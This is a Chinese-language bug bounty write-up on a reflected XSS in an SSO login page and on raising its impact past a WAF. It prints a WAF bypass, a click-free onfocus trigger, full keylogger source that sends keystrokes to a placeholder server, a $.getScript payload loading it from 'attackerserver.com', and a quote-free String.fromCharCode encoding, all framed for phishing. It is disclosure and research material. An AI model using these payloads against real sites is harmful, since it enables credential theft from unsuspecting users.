前言
本文将复盘国外安全研究人员如何在一个网站的SSO登录页面上发现一处反射型XSS漏洞。许多人可能会认为这类XSS作用有限,因为它通常需要受害者已经通过认证才能执行敏感操作。然而,事实并非如此。让我们一起来看看这个漏洞在实际场景中是如何被有效利用的。
资产发现
前期利用 amass 结合 httpx 进行资产探测:
amass enum -brute -d example.com -config '/home/user/.config/amass/config.ini' | httpx -title -tech-detect -status-code -ip -p 66,80,81,443,445,457,1080,1100,1241,1352,1433,1434,1521,1944,2301,3000,3128,3306,4000,4001,4002,4100,5000,5432,5800,5801,5802,6082,6346,6347,7001,7002,8080,8443,8888,30821
漏洞发现
通过Burp Suite的主动扫描器,捕获到如下一处安全漏洞报告:

该URL是用户的单点登录页面,除了包含几个与OAuth 2.0流程相关的参数外,还有一个名为service的参数。
这个参数的值被未经适当过滤就直接反射到了与“忘记密码”功能相关的<a>标签的href属性中。这导致了属性可以被提前用双引号闭合的风险。因此,攻击者可以通过创建新的HTML属性来注入JavaScript代码,从而引发一个基于属性的XSS漏洞。
漏洞利用
打印函数注入
首先,测试是否可以注入 < 和 > 字符,以确认是否能注入新的标签。结果发现,虽然可以注入属性,但无法注入新标签:

可以看到,Payload是经过URL编码发送的,服务器会解码除 < 和 > 之外的所有字符,这意味着无法注入新的HTML标签。
接下来,尝试注入一个类似onclick的属性,但暂时不使用真正的JavaScript代码,以测试“危险”属性是否被允许:

测试成功,属性可以被注入。然而,当尝试将字符串test替换为JavaScript函数print(1)时,请求被WAF拦截:

经过大量尝试和服务器响应分析,研究人员意识到一个绕过技巧:如果将Payload拆分成至少两个用分号分隔的语句,并且在第一个语句中使用括号,那么第二个语句就可以成功注入最初被WAF阻止的代码:

至此,确认了反射型XSS漏洞的存在。但是,它需要用户主动点击链接才能触发。
一种常见的升级技巧是使用onfocus属性,将XSS转换为无需用户交互的类型。这可以通过URL的哈希片段(#)和包含Payload的标签ID(例如forgot_btn)来实现,强制浏览器将焦点集中到该元素上,从而自动触发事件:

当受害者访问这个在末尾添加了#forgot_btn哈希的恶意URL时,JavaScript代码会自动执行,无需任何点击:

密码记录器注入
在登录页面上存在的XSS漏洞,通常只在用户未认证时执行,因为一旦认证成功,页面会重定向到网站主页。
那么,在用户未认证的情况下,这个XSS能攻击什么敏感功能呢?它似乎无法窃取会话Cookie或迫使用户修改数据……但认证过程本身,就是一个极其敏感的功能。
研究人员的朋友IckoGZ提供了一个绝佳思路:注入键盘记录器。这样,当用户通过恶意链接访问登录页面并输入自己的账号密码时,所有按键信息都会被悄无声息地发送到攻击者控制的服务器。他们使用了IckoGZ在GitHub上提供的一个简易JavaScript键盘记录器代码:
var keys='';
var url = 'http://yourIP/server.php?c=';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = url+keys;
keys = '';
}
}, 1000);
这段代码会记录用户在页面上按下的每一个键,将其转换为字符并累积起来。每隔一秒,如果捕获到了按键信息,就会通过创建一个Image对象的HTTP请求,将这些字符静默发送到外部服务器。
然而,直接把这个冗长的代码注入到Payload中是不现实的。URL会变得过长且可疑,也极易被WAF拦截。
因此,采用的策略是将键盘记录器代码托管在外部Web服务器上(例如,使用Burp Collaborator实例),然后注入一个用于导入该外部代码的简短Payload。他们注意到目标网站已经使用了jQuery,因此选择了以下Payload:
$.getScript("//attackerserver.com/keylogger.js"),function(){}
由于JavaScript代码需要嵌入到一个已经被双引号包裹的HTML属性中,最初只有两个选择:使用单引号,或者对双引号进行转义。
首先尝试单引号,但发现单引号在响应中被URL编码了,无法使用:

同时注意到,由于某种未知原因(可能是WAF的干扰),jQuery的getScript方法被反射成了get。
接着尝试转义双引号,这在响应中被正确反射了:

但出于未知原因,代码在浏览器中没有被正确解析:

可以看到,浏览器的HTML解析器在子域名前错误地插入了一个空格,导致它将子域名解释为一个独立的属性名。
那么,如何在不使用引号的情况下声明一个字符串呢?答案是使用 String.fromCharCode 方法。
String.fromCharCode 是String对象的静态方法,它接收一系列UTF-16码元值,并返回对应的字符串。例如,要生成字符串 “https://attackerserver.com/keylogger.js” 而不使用引号,可以这样做:
const url = String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,115,101,114,118,101,114,46,99,111,109,47,107,101,121,108,111,103,103,101,114,46,106,115);
为了避免手动计算每个字符的编码,可以编写一个简单的JavaScript脚本来完成转换:
function getStringFromCharCodeRepresentation(inputString) {
const charCodes = [...inputString].map(char => char.charCodeAt(0)).join(', ');
const jsCode = `const url = String.fromCharCode(${charCodes});`;
return jsCode;
}
const urlString = 'https://attackerserver.com/keylogger.js';
const generatedJsCode = getStringFromCharCodeRepresentation(urlString);
console.log(generatedJsCode);
在浏览器控制台运行此脚本,即可得到目标URL对应的Payload。因此,最终的利用Payload如下:
const url = String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,115,101,114,118,101,114,46,99,111,109,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}
将这个Payload应用于托管键盘记录器的域名并发送请求后,得到了以下响应:

如果受害者点击了这个恶意链接,键盘记录器脚本将从攻击者的服务器自动加载。随后,如果受害者在登录表单中输入凭证,这些按键信息将被发送到键盘记录器中预设的接收服务器(甚至不需要点击登录按钮):

想象一下这个钓鱼攻击的场景:攻击者可以在伪造的社交媒体账号上,发布一个针对公司客户的“独家优惠”链接。如果用户检查该链接的域名,会发现它确实解析到公司的合法IP地址。要求登录的操作也不会显得突兀,因为“优惠”是针对现有客户的。
这个URL本身并不冗长,也不会触发典型的安全警告——除非用户特意检查浏览器开发者工具的“网络”标签,发现从外部源加载了一个脚本。如果没有这种程度的警惕,很多人很可能中招。
漏洞后续(令人失望的结局)
研究人员向厂商提交了三次漏洞报告。
- 第一次提交反射型XSS,被拒绝。理由是:“抱歉,此报告无法进一步利用,因此我们不会将其视为安全问题。”
- 第二次,提交了利用XSS注入键盘记录器窃取凭证的完整利用链,仍被拒绝。理由是:“不可利用的漏洞……包括一些微不足道或无实际影响的XSS案例,如依赖社会工程或钓鱼攻击的XSS。”
- 第三次,通过电子邮件直接联系了公司安全团队。经过内部讨论,对方重新开启了报告,并给出最终反馈:“经过评估,您指出的这个XSS漏洞虽然需要社会工程才能利用,但符合我们对低风险XSS漏洞的定义。”
最终,该漏洞被定义为CVSS 3.7分(低风险),奖励金额不足20美元。
经验教训
- 不要低估看似“无害”的漏洞:永远保持创造力,深挖其潜在影响。本案例中,一个最初看似无用的XSS,经过精心构造,最终变成了一个可用于实际钓鱼甚至红队演练的强大武器。
- 评估项目的质量:不要盲目相信公司的声誉。一些知名公司的漏洞评审标准可能令人失望。漏洞赏金平台通常也不会为提交者“说话”。在投入大量时间前,不妨在云栈社区这样的技术论坛与其他安全研究员交流,了解目标项目的报告历史和口碑,避免将时间和精力消耗在回报不佳的项目上。
原文:https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/